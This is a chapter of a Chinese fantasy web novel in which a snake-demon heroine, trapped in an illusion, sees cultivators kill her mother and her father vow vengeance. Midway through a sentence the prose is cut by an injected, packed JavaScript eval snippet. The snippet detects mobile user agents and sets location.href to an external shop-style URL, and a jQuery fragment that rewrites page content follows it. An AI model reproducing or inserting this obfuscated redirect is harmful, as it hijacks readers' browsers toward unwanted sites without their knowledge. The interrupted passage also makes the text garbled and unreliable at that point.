64. 第六十一章 赤龙现身
作品:《人间乌龙》 “你说玄介卿什么时候能到?”
社君皱着眉头分析,“如果是他自己来的话,可能会走海路从黄河来,这样会快一点。但如果他带了人……应该不会带人,他现在还不知道我们在有利,去粟州驿的话,没必要带其他人。”
“那你去迎他一下吧。”
玉京子收住脚步,社君也跟着停下。
隐约可闻的诵经声中夹杂着风铃脆响,眼前甬道悠长,两侧红墙将二人夹在中-央,心跳声无限放大,社君环顾四周,空无一人。
体温的升高不是毫无缘由的,二人仿佛身处一个巨大的香炉之上,云雾在脚下缭绕,眼前像是被蒙上层水汽,一切都变得模糊扭曲。
“是我看错了吗?墙在动……”
原本笔直的甬道变得蜿蜒,眼前的路依旧看不见尽头,但比刚刚更多了数不清的波折。
“社君,”
玉京子的瞳孔已经被黑色填满,一道银光竖在中间,平添了蛇类的残忍。
“万事以大局为重,玄介卿是妖王的不二之选。”
“玉儿……”
“准备好了!”
玉京子决绝的声音在耳边响起,社君刚提起一口气,便是天旋地转。
根本没给他准备的时间,血线就已将他高高抛起。
半空中,寺庙的一切都变得清晰,哪有什么弯折,没有一处空旷。
他慌忙隐匿自己的气息,可仅仅只是一个眨眼,腰间血线和玉京子整个人都已经消失不见。
玄介卿…玄介卿……玄介卿!
心慌地不能自已,思绪更加不受控制,满脑子只有玉京子最后的嘱托。
社君头也不回地直奔城外,每一秒都祈盼玄介卿能出现在自己眼前。
……
本以为送走社君后便是一场大战,谁知那和尚的气息竟和社君一起消失了,玉京子心中升起一种不好的预感。
还没想明白,就发现脚下烟雾带着水汽自地底升起,没过脚踝后仍没停止。
感受到鞋袜的湿润,玉京子皱起眉头,仔细一看,何止是水汽,白雾之下,分明是从砖缝里涌出的源源不断的活水。
双手分别甩出血线,刺入两侧墙壁,玉京子高高跃起,意图脱离脚下潮湿的禁锢。
她悬在半空,眯眼去看,水已经停了,水汽也散了,砖石上只留下堪堪没过脚面的一片静潭。
环顾四周,一片静谧,疑惑间,她收了血线,想下去看个明白。
就在她脚尖碰到水面的瞬间,静水突然激荡。
血线再次甩出,可惜再无着力点,耳边风声呼啸,衣摆发丝上下翻飞,是地面在极速下坠!
惊雷炸在耳边,如同重锤击中脑顶。心神俱震间,她抬头望去,浓云遮天,横亘在眼前的高山好似要将苍天拦腰斩断。
是天堑。
风声散尽,她稳住身体,仔细观察身边景物。
脚下河水深不见底,一望无际,可于她而言却是一条坦途。
水面如平地,她的每一步都走得很实,却只能激起一圈微小的涟漪。
几步之后,玉京子便不肯向前。
是幻境。
高山若是红墙,河流便是甬道。
她闭上眼睛,平心定气,想象眼前依旧是寺庙红墙青砖……
几个呼吸间,鼻子似乎已经闻到了寺庙特有的檀香。
“玉儿……”
一道陌生的男声响起,在空荡的环境里留下层层回音。
就是幻境,玉京子更加确信。
可惜只有这种程度是留不住她的,心里不免涌起一丝乏味。
“赤龙!”
因即将脱困而扬起的笑容滞住,玉京子猛地睁开眼睛。
“娘……”
熟悉的声音熟悉的脸,娘亲笑逐颜开地从她身边跑过,仿佛没看见她一样。
她的眼神追随着娘亲的身影,一起扑进那红衣男子的怀里。
男人抱着娘亲转了个圈,背对着她,将娘亲的身影完全遮挡住。
“你怎么才回来?”
娘亲的声音羞涩甜蜜,好像比她记忆中更年轻些。
“让玉儿久等了,是我不好……”
他抬起手,轻抚着娘亲的发顶,娘亲的手环着他的腰,将他抱得更紧。
“哪里是我在等啊,囡囡也在等的。”
娘亲拉着他的手,抚上自己肚子。
男人的笑声回荡在耳边,让玉京子也跟着欢喜起来。
“爹……”
朝着男人的背影跑去,她迫切地想看看自己一直寻找的爹爹。
可离得越近,爹娘的身影就越透明。
终于在她触-手可及时,二人彻底消失。
她扑倒在地,河面坚硬,摔得她生疼。
疼痛让她找回些理智,她再一次意识到眼前的一切都是幻境。
她跪在河面上,脑袋无力地垂着,看见水中倒映着的自己的脸,恍惚中好像再一次看见自己的娘亲。
“呼……”她闭上眼睛,调整呼吸。
幻景,都是幻境……
手下的触感根本不是河水,是青石板,坚硬冰冷,红墙在脑中渐渐清晰,木鱼声一下一下敲在耳朵里……
“别跑!站住!”
杂乱的脚步声越来越近,她强迫自己闭紧眼睛,不被幻景所扰。
可下一秒……
“你们为什么要这样对我!”
娘亲声嘶力竭地喊着,哽咽中透着绝望。
睁开眼睛,娘亲就站在自己身边,被风吹动的裙摆甚至擦过她的脸。
“我虽然是妖,但我从未伤过人!我……”
“住口!”
玉京子向声源处望去,剑光晃得她不受控制地眯起眼睛。
长长的朱红剑穗在银剑与白袍中格外扎眼,剑穗晃动间,云霄宫的腰牌进入玉京子的视野。
女人声音尖细,说出的话更是刻薄。
“云霄宫除妖岂容你狡辩,若无心伤人何不束手就擒!”
“你……你们……”
垂在自己眼前的手流出血线,玉京子抬起手想去触碰。
“她要出手了!杀了她!”
“你们欺人太甚!”
伸出的手停在半空,蓝色的裙摆自眼前划过,冲向那一群白袍之中。
娘亲的线是鞭子,柔软又坚韧,即使是生着气教训人的时候,也是飞步翩跹。
玉京子就只是跪在原地看着那只蓝色蝴蝶翩翩起舞,她知道这些人不是娘亲的对手。
不一会儿,飞累了的蝴蝶又回到她身边,白袍躺倒一片。
娘亲声音温温柔柔的,“我知道妖的出现让人族有些害怕,你们这些修士也都是英勇之士,但是我要告诉你们,是人是妖,不是我们能选择的!”
娘亲在那女修面前蹲下身,“你在修士里已经算是很强了吧,可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209856|188055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你依旧伤不了我分毫。比我强的妖不计其数,若是妖真的想伤人,哪还容得你们云霄宫四处追杀?”
女修的剑掉落在不远处,娘亲起身时正巧看到,便慢慢朝那剑的方向走去。
在娘亲转身的下一秒,女修咬破指尖,眸中满是恨意地摸上了腰间的腰牌,霎时间,所有修士的腰牌都亮起来。
“不……”
玉京子面色惊恐地看着眼前的一幕,想出声制止,可声音却被死死堵在喉咙里。
娘亲也被身后的亮光吸引,回过头来。
女修的腰牌最是刺眼,映射在白袍上,让娘亲忍不住抬起袖子去挡。
就在这时,女修的剑带着破风之声刺入娘亲胸膛,剑穗无力地摇晃,正如娘亲指尖的血线。
“摆阵!”
玉京子眼睁睁地看着那群修士将娘亲团团围住,看着他们的剑从手中飞出,看着蓝色的衣裙变成一片鲜红。
身上的剑消失不见,娘亲倒在河面上,那双总是笑盈盈的眼睛此刻盛满不可置信的痛苦。
“囡囡……”
是娘亲在叫她。
双手拖动身体,在河面上留下一道血痕,和娘亲红色的尾巴融在一起。
“原来是蛇妖。”
剑尖挑起娘亲的身体,玉京子看见那双本应黑亮的眼睛此刻再无半点生机。
“师姐,你的腰牌用掉了,安全起见,我们先回宫门吧。”
“行吧。”
女修收了剑,娘亲掉在河面上,‘咚’的一声响,好像激起万丈水花。
“把她妖丹毁了,蛇胆留下,尸体就……就扔那条河里吧。”
“是!”
玉京子一动也动不了,只能看着娘亲的身体慢慢被河水吞噬,直至消失不见。
眼前只剩高山、长河,好像刚刚的一切都不曾发生过。
“幻境…是幻境……”玉京子低下头喃喃自语道。
“玉儿!”
声音自身后传来,余光里一个红色的身影从身边跑过去。
“玉儿!”
抬起头,爹爹背对着她,跪在河面上,以手掩面,高大的身躯此刻蜷成一团,肩膀不断起伏,带着整个人都不停的颤-抖。
“是我没有保护好你……都是我的错……”
拳头重重砸在地上,爹爹抽噎着直起后背。
“云霄宫!修士!人族!”
“我与你们!不死不休!”
爹爹的喊声几乎要震碎山谷,飞鸟、走兽、游鱼都被惊动。
一时间,鸟类扑腾翅膀的声音,林子里野兽的咆哮还有脚下鱼儿跃出湖面溅起的水流声都灌入玉京子耳朵里。
眼里那道红色的身影就在她的注视下一点一点变成黑色。
“不……”
爹爹的身边笼罩着一层黑雾,在河水中散开,一点一点蔓延开来,流经她的身下,又渐渐飘远。
“不要……”
灰蒙蒙的天空此刻已经沉如墨色,爹爹在这黑压压一片中站起身。
“生而为妖,天地所不容,那我等,何不入魔!”
乌云之中仿佛藏有万千红烛,火光穿透云层,成为这漆黑中唯一的亮色。
爹爹终于转过身,但是天色阴沉,玉京子看不清他的面容。
“爹……”
一道惊雷闪过,将漫天黑色撕裂,也照亮了那人的脸。
“玉儿,我一直在找你。”

